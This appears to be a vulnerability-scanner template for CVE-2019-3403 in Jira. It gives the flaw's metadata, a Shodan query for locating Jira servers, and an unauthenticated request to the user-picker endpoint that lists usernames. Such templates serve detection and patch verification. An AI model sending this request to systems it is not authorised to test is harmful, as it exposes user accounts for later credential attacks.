id: CVE-2019-3403 info: name: User enumeration via an incorrect authorisation check author: Ganofins severity: medium description: The /rest/api/2/user/picker rest resource in Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 allows remote attackers to enumerate usernames via an incorrect authorisation check. reference: - https://jira.atlassian.com/browse/JRASERVER-69242 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2019-3403 cwe-id: CWE-863 metadata: shodan-query: http.component:"Atlassian Jira" tags: cve,cve2019,atlassian,jira,enumeration requests: - method: GET path: - "{{BaseURL}}/rest/api/2/user/picker?query=" matchers-condition: and matchers: - type: word words: - '"users":' - '"total":' - '"header":' condition: and - type: word part: header words: - 'application/json' - type: status status: - 200